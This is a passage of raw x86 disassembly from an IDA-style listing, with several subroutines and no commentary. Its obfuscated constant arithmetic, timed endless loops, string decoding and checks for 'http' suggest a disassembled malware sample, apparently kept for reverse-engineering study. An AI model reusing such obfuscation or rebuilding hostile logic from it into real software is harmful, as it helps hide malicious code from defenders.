sub esp, 41Ch
push ebx
push esi
push edi
mov eax, dword_5510C8
mov esi, eax
add esi, dword_55119C
sub esi, 7
jmp short loc_4427D8
; ---------------------------------------------------------------------------
loc_4427BF: ; CODE XREF: sub_4427A1+43j
mov edx, dword_551244
add edx, dword_55124C
sub edx, 0Bh
neg edx
mov [ebp+esi*4+var_400], edx
inc esi
loc_4427D8: ; CODE XREF: sub_4427A1+1Cj
mov eax, dword_551238
add eax, 0F7h
cmp esi, eax
jb short loc_4427BF
mov ebx, [ebp+arg_4]
movsx eax, word_551110
dec eax
mov [ebp+var_408], eax
mov edx, dword_5511D4
add edx, 1Dh
add edx, dword_551238
movsx ecx, word_5511AC
mov eax, dword_5510D4
lea ecx, [ecx+eax+32h]
mov [ebp+edx*4+var_400], ecx
mov eax, [ebp+arg_8]
add eax, ebx
mov [ebp+var_404], eax
movsx edx, word_55115C
movsx ecx, word_551268
lea edx, [edx+ecx+25h]
movsx ecx, word_551104
movsx eax, word_551240
lea ecx, [ecx+eax+38h]
mov [ebp+edx*4+var_400], ecx
movsx eax, word_551220
mov edi, eax
add edi, dword_551100
dec edi
jmp short loc_44289B
; ---------------------------------------------------------------------------
loc_442865: ; CODE XREF: sub_4427A1+10Aj
movsx edx, word_551144
lea edx, [edx+edi+40h]
mov [ebp+edx*4+var_400], edi
movsx edx, word_551120
add edx, 5Eh
mov ecx, edi
add ecx, edx
movsx edx, word_55115C
add edx, 17h
mov eax, edi
add eax, edx
mov [ebp+ecx*4+var_400], eax
inc edi
loc_44289B: ; CODE XREF: sub_4427A1+C2j
mov eax, dword_551100
add eax, 1Ah
add eax, dword_5510BC
cmp edi, eax
jb short loc_442865
mov eax, dword_551258
add eax, dword_55109C
sub eax, 8
mov [ebp+var_40C], eax
mov edi, dword_551150
add edi, 2Ch
jmp short loc_4428EA
; ---------------------------------------------------------------------------
loc_4428CC: ; CODE XREF: sub_4427A1+153j
mov edx, dword_5510DC
movsx ecx, word_551194
add edx, ecx
sub edx, 0Ah
mov ecx, edi
add ecx, edx
mov [ebp+edi*4+var_400], ecx
inc edi
loc_4428EA: ; CODE XREF: sub_4427A1+129j
mov eax, dword_5511F0
add eax, 31h
cmp edi, eax
jb short loc_4428CC
mov eax, dword_551198
mov esi, eax
add esi, dword_5510D4
sub esi, 0Ah
mov edi, [ebp+arg_0]
jmp loc_442A44
; ---------------------------------------------------------------------------
loc_44290E: ; CODE XREF: sub_4427A1+2AEj
movsx edx, byte ptr [edi]
shl edx, 2
mov esi, [ebp+edx+var_400]
mov eax, dword_551130
sub eax, 2
neg eax
cmp esi, eax
jz loc_442A43
mov eax, [ebp+var_408]
or eax, eax
jl loc_442A3D
cmp eax, 3
jg loc_442A3D
jmp off_551424[eax*4]
loc_44294B: ; DATA XREF: .data:off_551424o
inc [ebp+var_408]
jmp loc_442A3D
; ---------------------------------------------------------------------------
loc_442956: ; CODE XREF: sub_4427A1+1A3j
; DATA XREF: .data:00551428o
mov edx, [ebp+var_40C]
mov ecx, dword_551200
dec ecx
mov eax, edx
shl eax, cl
mov [ebp+var_418], eax
mov edx, esi
and edx, 30h
mov ecx, dword_5511D0
add ecx, dword_551114
dec ecx
mov eax, edx
sar eax, cl
mov edx, [ebp+var_418]
or edx, eax
mov [ebp+var_40D], dl
inc [ebp+var_408]
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
jmp loc_442A3D
; ---------------------------------------------------------------------------
loc_4429A7: ; CODE XREF: sub_4427A1+1A3j
; DATA XREF: .data:0055142Co
mov edx, [ebp+var_40C]
and edx, 0Fh
mov ecx, dword_5511E8
sub ecx, 3
mov eax, edx
shl eax, cl
mov [ebp+var_41C], eax
mov edx, esi
and edx, 3Ch
movsx ecx, word_5511C4
add ecx, dword_5511D4
sub ecx, 0Eh
mov eax, edx
sar eax, cl
mov edx, [ebp+var_41C]
or edx, eax
mov [ebp+var_40D], dl
inc [ebp+var_408]
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
jmp short loc_442A3D
; ---------------------------------------------------------------------------
loc_4429FD: ; CODE XREF: sub_4427A1+1A3j
; DATA XREF: .data:00551430o
mov edx, [ebp+var_40C]
and edx, 3
movsx ecx, word_5511CC
mov eax, edx
shl eax, cl
mov edx, eax
or edx, esi
mov [ebp+var_40D], dl
mov eax, ebx
inc ebx
mov dl, [ebp+var_40D]
mov [eax], dl
mov eax, dword_5511F8
movsx edx, word_5510F0
add eax, edx
sub eax, 0Ah
mov [ebp+var_408], eax
loc_442A3D: ; CODE XREF: sub_4427A1+194j
; sub_4427A1+19Dj ...
mov [ebp+var_40C], esi
loc_442A43: ; CODE XREF: sub_4427A1+186j
inc edi
loc_442A44: ; CODE XREF: sub_4427A1+168j
cmp byte ptr [edi], 0
jz short loc_442A55
cmp ebx, [ebp+var_404]
jb loc_44290E
loc_442A55: ; CODE XREF: sub_4427A1+2A6j
movsx eax, byte ptr [edi]
mov edx, dword_5511B8
sub edx, 7
cmp eax, edx
jnz short loc_442A6C
mov eax, ebx
sub eax, [ebp+arg_4]
jmp short loc_442A73
; ---------------------------------------------------------------------------
loc_442A6C: ; CODE XREF: sub_4427A1+2C2j
mov eax, dword_551218
neg eax
loc_442A73: ; CODE XREF: sub_4427A1+2C9j
pop edi
pop esi
pop ebx
leave
retn
sub_4427A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442A78 proc near ; CODE XREF: sub_43E491+3D7p
; sub_4467C4:loc_446E2Fp
var_445 = byte ptr -445h
var_341 = byte ptr -341h
var_23D = byte ptr -23Dh
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
push ebp
mov ebp, esp
sub esp, 448h
push ebx
push esi
push edi
lea eax, [ebp+var_341]
push eax
movsx eax, word_551274
add eax, dword_551118
sub eax, 0Ah
push eax
mov eax, dword_551150
add eax, dword_55125C
sub eax, 9
push eax
push 1Ch
movsx eax, word_5511EC
movsx edx, word_551188
add eax, edx
sub eax, 8
push eax
call ds:dword_48BA00
lea eax, [ebp+var_341]
push eax
lea eax, [ebp+var_445]
push eax
call ds:dword_44B1A4
push offset word_551C82
call sub_43AC94
push eax
lea edx, [ebp+var_445]
push edx
call ds:dword_44802C
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_445]
push eax
call ds:dword_4CC328
mov ebx, eax
mov eax, dword_55109C
add eax, 0FFFFFFF5h
add eax, dword_551138
cmp eax, ebx
jz loc_442BE7
lea eax, [ebp+var_112]
push eax
lea eax, [ebp+var_341]
push eax
call sub_441D71
add esp, 8
xor esi, esi
inc esi
loc_442B3B: ; CODE XREF: sub_442A78+F8j
lea eax, [ebp+var_13E]
push eax
push ebx
call ds:dword_449FC8
mov esi, eax
or esi, esi
jnz short loc_442B58
push ebx
call ds:dword_44B5BC
jmp short loc_442B72
; ---------------------------------------------------------------------------
loc_442B58: ; CODE XREF: sub_442A78+D5j
lea eax, [ebp+var_112]
push eax
lea eax, [ebp+var_341]
push eax
call sub_441D71
add esp, 8
or esi, esi
jnz short loc_442B3B
loc_442B72: ; CODE XREF: sub_442A78+DEj
mov eax, dword_5510B4
movsx edx, word_5510E4
add eax, edx
movsx edx, word_551214
sub edx, 3
mov ds:byte_54EC0C[eax], dl
mov eax, dword_5511D8
mov edi, eax
add edi, dword_551150
sub edi, 0Bh
jmp short loc_442BDF
; ---------------------------------------------------------------------------
loc_442BA3: ; CODE XREF: sub_442A78+16Dj
push offset dword_551C78
call sub_43AC94
push ds:dword_4CEA20[edi*4]
push ds:dword_48C320[edi*4]
push eax
lea edx, [ebp+var_23D]
push edx
call ds:dword_50EA28
lea eax, [ebp+var_23D]
push eax
push offset dword_54EC10
call ds:dword_44802C
add esp, 1Ch
inc edi
loc_442BDF: ; CODE XREF: sub_442A78+129j
cmp edi, dword_5512BC
jb short loc_442BA3
loc_442BE7: ; CODE XREF: sub_442A78+A4j
pop edi
pop esi
pop ebx
leave
retn
sub_442A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_442BEC proc near ; DATA XREF: sub_441AE5+17Fo
push ebp
mov ebp, esp
loc_442BEF: ; CODE XREF: sub_442BEC+23j
call sub_43ADE6
mov eax, dword_551204
add eax, 1D4B8h
movsx edx, word_5511BC
add eax, edx
push eax
call ds:dword_50EA24
pop ecx
jmp short loc_442BEF
sub_442BEC endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_442C15 proc near ; CODE XREF: sub_43E491+3CDp
push edi
movsx edi, word_551180
sub edi, 2
jmp short loc_442C3A
; ---------------------------------------------------------------------------
loc_442C22: ; CODE XREF: sub_442C15+31j
movsx eax, word_5511C4
add eax, dword_55118C
sub eax, 7
mov ds:byte_550140[edi], al
inc edi
loc_442C3A: ; CODE XREF: sub_442C15+Bj
movsx eax, word_551180
add eax, 0Eh
cmp edi, eax
jb short loc_442C22
mov eax, dword_5511DC
mov edx, dword_551230
add edx, 0B2h
add edx, eax
mov ds:byte_55013F[eax], dl
movsx eax, word_551220
movsx edx, word_5510CC
mov ecx, dword_5510D0
lea edx, [edx+ecx+3Dh]
mov ds:byte_55014E[eax], dl
pop edi
retn
sub_442C15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_442C83 proc near ; DATA XREF: sub_43CB55+19Ao
var_A = byte ptr -0Ah
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov edi, [ebp+arg_0]
push offset sub_445D32
push dword ptr fs:0
mov fs:0, esp
push offset dword_551C70
call sub_43AC94
push dword ptr [edi]
push eax
lea esi, [ebp+var_A]
push esi
call ds:dword_50EA28
add esp, 10h
loc_442CB9: ; CODE XREF: sub_442C83+5Aj
push 0
push dword ptr [edi]
lea eax, [ebp+var_A]
push eax
call sub_44757D
movsx eax, word_55120C
add eax, dword_551100
push eax
call ds:dword_50EA24
add esp, 10h
jmp short loc_442CB9
sub_442C83 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442CE5 proc near ; CODE XREF: sub_43E04C+169p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_44797C
push ebx
push esi
push edi
mov eax, dword_551184
add eax, dword_551130
sub eax, 0Bh
push eax
lea eax, [ebp+var_FFF]
push eax
call sub_43C10A
add esp, 8
mov eax, dword_5511F8
mov edi, eax
add edi, dword_5511C0
sub edi, 7
jmp short loc_442D41
; ---------------------------------------------------------------------------
loc_442D25: ; CODE XREF: sub_442CE5+62j
cmp [ebp+edi+var_FFF], 23h
jnz short loc_442D40
movsx eax, word_551094
sub eax, 3
mov [ebp+edi+var_FFF], al
loc_442D40: ; CODE XREF: sub_442CE5+48j
inc edi
loc_442D41: ; CODE XREF: sub_442CE5+3Ej
cmp edi, 0FFFh
jb short loc_442D25
lea esi, [ebp+var_FFF]
loc_442D4F: ; CODE XREF: sub_442CE5+FCj
push offset dword_551C6C
call sub_43AC94
push offset dword_449FE0
movsx ebx, word_551234
sub ebx, 4
push ebx
mov ebx, dword_5511F0
sub ebx, 9
push ebx
push eax
mov ebx, dword_551178
sub ebx, 3
push ebx
mov ebx, dword_551148
add ebx, dword_5510FC
sub ebx, 9
push ebx
push esi
push [ebp+arg_0]
mov ebx, dword_551128
sub ebx, 5
and ebx, 0FFh
push ebx
call sub_4423A6
add esp, 28h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_442DAF: ; CODE XREF: sub_442CE5+CFj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442DAF
mov edx, dword_551174
add edx, dword_55117C
sub edx, 5
add edx, eax
lea esi, [esi+edx]
mov eax, dword_551198
sub eax, 3
movsx eax, byte ptr [esi+eax]
mov edx, dword_55110C
sub edx, 9
cmp eax, edx
jnz loc_442D4F
pop edi
pop esi
pop ebx
leave
retn
sub_442CE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442DEC proc near ; DATA XREF: .data:005512D8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
movsx eax, word_551260
inc eax
cmp ds:dword_44B5D0, eax
jnb short loc_442E1A
mov eax, dword_5511F0
sub eax, 9
mov ds:dword_44B5D0, eax
loc_442E1A: ; CODE XREF: sub_442DEC+1Fj
mov edi, dword_5511E8
sub edi, 7
jmp short loc_442E31
; ---------------------------------------------------------------------------
loc_442E25: ; CODE XREF: sub_442DEC+53j
lea ebx, ds:44A0E0h[edi*4]
cmp ebx, esi
jz short loc_442E41
inc edi
loc_442E31: ; CODE XREF: sub_442DEC+37j
movsx eax, word_551210
add eax, 3E5h
cmp edi, eax
jb short loc_442E25
loc_442E41: ; CODE XREF: sub_442DEC+42j
mov eax, dword_551164
add eax, 3E8h
cmp eax, edi
jnz short loc_442E56
xor eax, eax
jmp loc_442FDF
; ---------------------------------------------------------------------------
loc_442E56: ; CODE XREF: sub_442DEC+61j
mov esi, dword_551208
add esi, dword_5510D4
sub esi, 8
movzx ebx, ds:word_48BA10[edi*2]
cmp esi, ebx
jnz short loc_442EA1
movzx eax, ds:byte_44B1B0[edi]
push eax
push ds:dword_449020[edi*4]
call sub_44569A
add esp, 8
movsx esi, word_551094
sub esi, 3
mov ds:dword_44A0E0[edi*4], esi
xor eax, eax
jmp loc_442FDF
; ---------------------------------------------------------------------------
loc_442EA1: ; CODE XREF: sub_442DEC+83j
mov esi, dword_551128
add esi, 0FFF7h
movsx ebx, word_5510B0
add esi, ebx
movzx ebx, ds:word_48BA10[edi*2]
cmp esi, ebx
jnz loc_442FB9
movsx eax, word_551224
add eax, dword_551108
sub eax, 4
mov [ebp+var_4], eax
jmp loc_442FA2
; ---------------------------------------------------------------------------
loc_442EDE: ; CODE XREF: sub_442DEC+1C3j
mov esi, [ebp+var_4]
movzx ebx, ds:word_48BA10[esi*2]
mov edx, dword_5510DC
add edx, 0FFF3h
add edx, dword_55124C
cmp ebx, edx
jz loc_442F9F
mov ebx, esi
shl ebx, 2
mov edx, ds:dword_449020[edi*4]
cmp ds:dword_449020[ebx], edx
jnz loc_442F9F
mov edx, dword_55113C
movsx ecx, word_5511C4
add edx, ecx
sub edx, 10h
cmp ds:dword_44A0E0[ebx], edx
jz short loc_442F9F
mov bl, ds:byte_44B1B0[esi]
cmp bl, ds:byte_44B1B0[edi]
jnz short loc_442F9F
movzx esi, ds:word_48BA10[esi*2]
movsx ebx, word_55123C
movsx edx, word_551168
add ebx, edx
sub ebx, 6
cmp esi, ebx
jnz short loc_442F90
mov esi, dword_551100
mov ds:dword_44A0E0[edi*4], esi
mov esi, [ebp+var_4]
movzx ebx, ds:byte_44B1B0[esi]
push ebx
push ds:dword_449020[esi*4]
call sub_44569A
add esp, 8
jmp short loc_442FB5
; ---------------------------------------------------------------------------
loc_442F90: ; CODE XREF: sub_442DEC+178j
mov esi, [ebp+var_4]
lea esi, ds:48BA10h[esi*2]
dec word ptr [esi]
jmp short loc_442FB5
; ---------------------------------------------------------------------------
loc_442F9F: ; CODE XREF: sub_442DEC+111j
; sub_442DEC+12Aj ...
inc [ebp+var_4]
loc_442FA2: ; CODE XREF: sub_442DEC+EDj
mov eax, dword_5511B8
add eax, 3E1h
cmp [ebp+var_4], eax
jb loc_442EDE
loc_442FB5: ; CODE XREF: sub_442DEC+1A2j
; sub_442DEC+1B1j
xor eax, eax
jmp short loc_442FDF
; ---------------------------------------------------------------------------
loc_442FB9: ; CODE XREF: sub_442DEC+D4j
movzx esi, ds:word_48BA10[edi*2]
movsx ebx, word_5511A8
add ebx, dword_551124
sub ebx, 8
cmp esi, ebx
jle short loc_442FDD
dec ds:word_48BA10[edi*2]
loc_442FDD: ; CODE XREF: sub_442DEC+1E7j
xor eax, eax
loc_442FDF: ; CODE XREF: sub_442DEC+65j
; sub_442DEC+B0j ...
pop edi
pop esi
pop ebx
leave
retn 24h
sub_442DEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442FE6 proc near ; DATA XREF: .data:005512C8o
push ebp
mov ebp, esp
movsx eax, word_551140
sub eax, 5
cmp ds:dword_54FC14, eax
jbe short loc_443006
push offset dword_54FC14
call ds:dword_448014
loc_443006: ; CODE XREF: sub_442FE6+13j
mov eax, ds:dword_54FC14
pop ebp
retn 4
sub_442FE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44300F proc near ; CODE XREF: sub_4457CD+29p
var_71F15 = byte ptr -71F15h
var_71F0B = byte ptr -71F0Bh
var_70F0C = dword ptr -70F0Ch
var_70F08 = word ptr -70F08h
var_70F00 = dword ptr -70F00h
var_70EFB = byte ptr -70EFBh
var_70EF4 = dword ptr -70EF4h
var_70EEF = byte ptr -70EEFh
var_60EF0 = word ptr -60EF0h
var_60EE8 = dword ptr -60EE8h
var_60EDD = byte ptr -60EDDh
var_60EDC = dword ptr -60EDCh
var_60ED8 = dword ptr -60ED8h
var_60ED4 = dword ptr -60ED4h
var_60ED0 = word ptr -60ED0h
var_60EC8 = dword ptr -60EC8h
var_60EBC = dword ptr -60EBCh
var_60EB8 = dword ptr -60EB8h
var_60EB4 = dword ptr -60EB4h
var_60EB0 = dword ptr -60EB0h
var_60EAC = dword ptr -60EACh
var_60EA8 = dword ptr -60EA8h
var_60EA4 = dword ptr -60EA4h
var_60EA0 = dword ptr -60EA0h
var_60E9B = byte ptr -60E9Bh
var_50EA7 = byte ptr -50EA7h
var_50E9C = dword ptr -50E9Ch
var_50E97 = byte ptr -50E97h
var_40EB8 = word ptr -40EB8h
var_40EB0 = dword ptr -40EB0h
var_40EA8 = byte ptr -40EA8h
var_40EA0 = dword ptr -40EA0h
var_40E98 = dword ptr -40E98h
var_40E94 = byte ptr -40E94h
var_40E90 = dword ptr -40E90h
var_40E8C = dword ptr -40E8Ch
var_40E88 = dword ptr -40E88h
var_40E84 = dword ptr -40E84h
var_40E80 = byte ptr -40E80h
var_40E78 = dword ptr -40E78h
var_40E70 = dword ptr -40E70h
var_40E6C = dword ptr -40E6Ch
var_40E68 = dword ptr -40E68h
var_40E64 = dword ptr -40E64h
var_40E60 = dword ptr -40E60h
var_40E59 = byte ptr -40E59h
var_40E57 = byte ptr -40E57h
var_30E58 = dword ptr -30E58h
var_30E54 = dword ptr -30E54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30D4F = byte ptr -30D4Fh
var_30D4B = byte ptr -30D4Bh
var_30D42 = byte ptr -30D42h
var_30D40 = byte ptr -30D40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 71F0Ch
call sub_44797C
push ebx
push esi
push edi
lea eax, [ebp+var_40E80]
push eax
call ds:dword_448048
lea eax, [ebp+var_40E94]
push eax
lea eax, [ebp+var_40E80]
push eax
push 9
mov eax, dword_551124
sub eax, 9
push eax
push [ebp+arg_0]
call ds:dword_4CC324
mov ebx, eax
mov eax, dword_551154
add eax, dword_5510C4
sub eax, 10h
cmp ebx, eax
jnz loc_443E7B
mov eax, [ebp+var_40E78]
mov [ebp+var_40E64], eax
movsx ecx, word_5510A0
sub ecx, 7
mov [ebp+var_40E60], ecx
lea ecx, [ebp+var_40E60]
push ecx
push offset dword_552AA4
mov eax, [ebp+var_40E64]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_551114
movsx edx, word_551104
add eax, edx
sub eax, 7
cmp eax, ebx
jnz loc_443E7B
lea eax, [ebp+var_40E84]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
mov eax, dword_551138
add eax, dword_5511D0
sub eax, 6
cmp ebx, eax
jnz loc_443E6F
lea eax, [ebp+var_40E57]
push eax
push [ebp+var_40E84]
call sub_44582B
add esp, 8
push [ebp+var_40E84]
call ds:dword_550034
mov eax, dword_551238
mov edx, dword_551148
add edx, eax
cmp byte ptr [ebp+edx+var_40E68+3], 74h
jnz short loc_443156
movsx edx, word_5510F0
add edx, dword_5510C8
cmp [ebp+edx+var_40E59], 74h
jnz short loc_443156
add eax, dword_551108
cmp byte ptr [ebp+eax+var_40E60+1], 70h
jnz short loc_443156
mov eax, dword_551184
mov edx, eax
add edx, eax
cmp byte ptr [ebp+edx+var_40E68+1], 68h
jz short loc_44315B
loc_443156: ; CODE XREF: sub_44300F+10Bj
; sub_44300F+122j ...
jmp loc_443E6F
; ---------------------------------------------------------------------------
loc_44315B: ; CODE XREF: sub_44300F+145j
lea eax, [ebp+var_30E4C]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
movsx eax, word_551110
movsx edx, word_5511EC
add eax, edx
sub eax, 4
cmp ebx, eax
jz short loc_44319E
mov eax, dword_551128
add eax, dword_5511A0
sub eax, 7
mov [ebp+var_30E4C], eax
loc_44319E: ; CODE XREF: sub_44300F+179j
lea eax, [ebp+var_40E68]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+48h]
mov ebx, eax
mov eax, dword_55114C
sub eax, 6
cmp ebx, eax
jnz loc_443E6F
lea eax, [ebp+var_40E6C]
push eax
push offset dword_552A34
mov eax, [ebp+var_40E68]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_551090
movsx edx, word_5511CC
add eax, edx
sub eax, 7
cmp eax, ebx
jnz loc_443E63
lea eax, [ebp+var_40E70]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+5Ch]
mov ebx, eax
mov eax, dword_5510E8
sub eax, 7
cmp ebx, eax
jnz loc_443E57
lea eax, [ebp+var_40E90]
push eax
mov eax, [ebp+var_40E70]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_5511F4
sub eax, 5
cmp ebx, eax
jnz loc_443E4B
push offset dword_551C5C
call sub_43AEDD
push eax
call ds:dword_44900C
mov [ebp+var_30E44], eax
mov eax, dword_5511C0
add eax, dword_551174
neg eax
mov [ebp-40E5Ch], eax
push offset dword_551C48
call sub_43AEDD
push eax
call ds:dword_44900C
mov [ebp+var_30E48], eax
mov eax, dword_5510F4
mov [ebp+eax+var_30D42], 44h
mov eax, dword_551184
add eax, dword_551238
mov edx, dword_5510BC
add edx, dword_55124C
sub edx, 5
mov [ebp+eax+var_30D4F], dl
movsx eax, word_55123C
add eax, dword_55110C
mov [ebp+eax+var_30D4B], 7Ch
lea eax, [ebp+var_40E57]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
add esp, 10h
loc_4432DF: ; CODE XREF: sub_44300F+E10j
movsx eax, word_551214
sub eax, 3
mov [ebp+var_40E88], eax
movsx eax, word_551144
add eax, dword_551178
sub eax, 4
mov [ebp+var_40E8C], eax
mov eax, dword_5510BC
add eax, dword_551198
sub eax, 2
neg eax
cmp [ebp-40E5Ch], eax
jnz short loc_44336D
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E6C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
movsx eax, word_551260
movsx edx, word_551240
add eax, edx
sub eax, 0Ah
cmp eax, ebx
jnz loc_443E0D
push offset byte_551C37
call sub_43AC94
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44802C
add esp, 0Ch
jmp loc_443486
; ---------------------------------------------------------------------------
loc_44336D: ; CODE XREF: sub_44300F+30Cj
mov [ebp+var_40EB8], 17h
mov eax, [ebp-40E5Ch]
mov [ebp+var_40EB0], eax
lea eax, [ebp+var_40EA8]
push eax
lea eax, [ebp+var_40EB8]
push eax
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+1Ch]
lea eax, [ebp+var_40E88]
push eax
push offset dword_552A84
push [ebp+var_40EA0]
mov edi, [ebp+var_40EA0]
mov edi, [edi]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_55121C
add eax, dword_5511DC
sub eax, 9
cmp eax, ebx
jnz loc_443E0D
lea eax, [ebp+var_40E8C]
push eax
mov eax, [ebp+var_40E88]
push eax
mov edi, [eax]
call dword ptr [edi+0D0h]
mov ebx, eax
mov eax, dword_551184
sub eax, 8
cmp ebx, eax
jz short loc_44340A
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_443E0D
; ---------------------------------------------------------------------------
loc_44340A: ; CODE XREF: sub_44300F+3E8j
lea eax, [ebp+var_30E54]
push eax
mov eax, [ebp+var_40E8C]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, dword_5511D8
movsx edx, word_5510D8
add eax, edx
sub eax, 10h
cmp ebx, eax
jz short loc_443451
mov eax, [ebp+var_40E8C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40E88]
push eax
mov esi, [eax]
call dword ptr [esi+8]
jmp loc_443E0D
; ---------------------------------------------------------------------------
loc_443451: ; CODE XREF: sub_44300F+423j
push offset dword_551C28
call sub_43AC94
push dword ptr [ebp-40E5Ch]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50EA28
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
add esp, 18h
loc_443486: ; CODE XREF: sub_44300F+359j
lea eax, [ebp+var_30E58]
push eax
mov eax, [ebp+var_30E54]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
movsx eax, word_5511EC
add eax, dword_55118C
sub eax, 3
cmp ebx, eax
jnz loc_443E0D
mov eax, dword_55113C
add eax, dword_5510C0
sub eax, 0Ah
mov [ebp+var_30E50], eax
jmp loc_443DFB
; ---------------------------------------------------------------------------
loc_4434CC: ; CODE XREF: sub_44300F+DF8j
mov eax, [ebp+var_30E50]
mov [ebp+var_60EC8], eax
mov [ebp+var_60ED0], 2
mov eax, dword_55124C
mov edx, dword_551124
sub edx, 9
mov byte ptr [ebp+eax+var_50E9C], dl
lea eax, [ebp+var_60EBC]
push eax
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_60ED0]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_30E54]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_5510C8
movsx edx, word_551268
add eax, edx
sub eax, 3
cmp ebx, eax
jnz loc_443DF5
push offset word_551C1A
call sub_43AC94
push [ebp+var_30E50]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50EA28
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
add esp, 18h
mov eax, dword_5511FC
mov [ebp+var_60ED4], eax
lea eax, [ebp+var_60ED4]
push eax
push offset dword_552A54
mov eax, [ebp+var_60EBC]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_5510EC
add eax, dword_551164
cmp ebx, eax
jnz loc_443A63
lea eax, [ebp+var_60ED8]
push eax
mov eax, [ebp+var_60ED4]
push eax
mov edi, [eax]
call dword ptr [edi+0F0h]
mov ebx, eax
movsx eax, word_55111C
movsx edx, word_551094
add eax, edx
sub eax, 3
cmp eax, ebx
jnz loc_443A57
lea eax, [ebp+var_60E9B]
push eax
push [ebp+var_60ED8]
call sub_44582B
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_60EB4], edi
push [ebp+var_60ED8]
call ds:dword_550034
mov eax, dword_5511D8
add eax, dword_5510C4
sub eax, 10h
mov [ebp+var_40E98], eax
jmp short loc_443673
; ---------------------------------------------------------------------------
loc_44362E: ; CODE XREF: sub_44300F+670j
mov eax, [ebp+var_40E98]
movsx eax, [ebp+eax+var_60E9B]
mov edx, dword_551200
add edx, 0Ah
cmp eax, edx
jz short loc_443657
movsx edx, word_55112C
add edx, 5
cmp eax, edx
jnz short loc_44366D
loc_443657: ; CODE XREF: sub_44300F+638j
mov eax, [ebp+var_40E98]
mov edx, dword_551114
sub edx, 2
mov [ebp+eax+var_60E9B], dl
loc_44366D: ; CODE XREF: sub_44300F+646j
inc [ebp+var_40E98]
loc_443673: ; CODE XREF: sub_44300F+61Dj
mov eax, [ebp+var_60EB4]
cmp [ebp+var_40E98], eax
jb short loc_44362E
lea eax, [ebp+var_60E9B]
push eax
lea eax, [ebp+var_50E97]
push eax
call sub_44799C
mov eax, dword_551174
dec eax
mov [ebp+var_40E98], eax
loc_4436A0: ; CODE XREF: sub_44300F+7C9j
mov eax, [ebp+var_40E98]
lea ecx, [ebp+eax+var_60E9B]
or eax, 0FFFFFFFFh
loc_4436B0: ; CODE XREF: sub_44300F+6A6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4436B0
mov [ebp+var_60EA4], eax
movsx edx, word_5510E4
movsx ecx, word_55111C
lea edx, [edx+ecx+0C8h]
cmp eax, edx
ja short loc_4436E3
mov edx, dword_551098
sub edx, 2
cmp eax, edx
jnz short loc_4436E8
loc_4436E3: ; CODE XREF: sub_44300F+6C5j
jmp loc_4437B6
; ---------------------------------------------------------------------------
loc_4436E8: ; CODE XREF: sub_44300F+6D2j
movsx eax, word_5510D8
sub eax, 9
mov [ebp+var_60EA0], eax
